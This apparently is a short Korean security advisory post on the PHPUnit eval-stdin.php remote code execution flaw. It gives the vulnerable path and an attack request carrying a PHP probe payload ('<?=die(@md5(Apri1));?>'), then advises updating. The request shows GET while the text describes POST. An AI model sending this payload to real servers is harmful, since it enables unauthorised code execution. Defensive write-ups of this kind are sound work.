loading
본문으로 바로가기

PHPUnit은 PHP 프로그래밍 언어를 위한 유닛 테스트 프레임워크입니다. 
SUnit과 함께 기원한 유닛 테스트 프레임워크를 위한 XUnit 아키텍처의 인스턴스이며 JUnit과 함께 대중화되었고 PHPUnit은 Sebastian Bergmann이 개발하였으며 개발 자체는 깃허브에서 호스팅되고 있습니다. 

 

1. Payload

/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

Vendor는 패키지가 저장되는 폴더이며, Composer를 통해 설치되는 패키지들을 저장합니다. 
Composer란? ruby 의 bundle 처럼 패키지간의 의존성을 관리해 주는 유틸리티이며, 패키지가 설치되어야 하는 버전을 찾아, 알맞은 버전의 패키지들과 의존 패키지들을 설치해줍니다. 

 

2. 공격구문

GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: www.aaaaaaaaaaaaaaaaa.com
User-Agaent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Length: 19
Accept-Encoding: gzip
Connection: close

<?=die(@md5(Apri1));?>

PHPUnit 및 5.6.3 이전의 5.x의 Util / PHP / eval-stdin.php를 통해 원격 공격자는 "<? php"하위 문자열로 시작하는 HTTP POST 데이터를 통해 임의의 PHP 코드를 실행시키며, die 함수를 이용하여 에러 없이 메시지 출력 후 종료를 시도 하고 있습니다.

 

 

※ 해결방안

1. 해당 벤더사가 제공하는 최신의 펌웨어를 설치한다. 

https://phpunit.de/getting-started/phpunit-8.html 

 

Getting Started with Version 8 of PHPUnit – The PHP Testing Framework

Composer ➜ ./vendor/bin/phpunit tests PHPUnit 8.0.0 by Sebastian Bergmann and contributors. ... 3 / 3 (100%) Time: 70 ms, Memory: 10.00MB OK (3 tests, 3 assertions) The above assumes that vendor/autoload.php, the autoloader script managed by Composer, ex

phpunit.de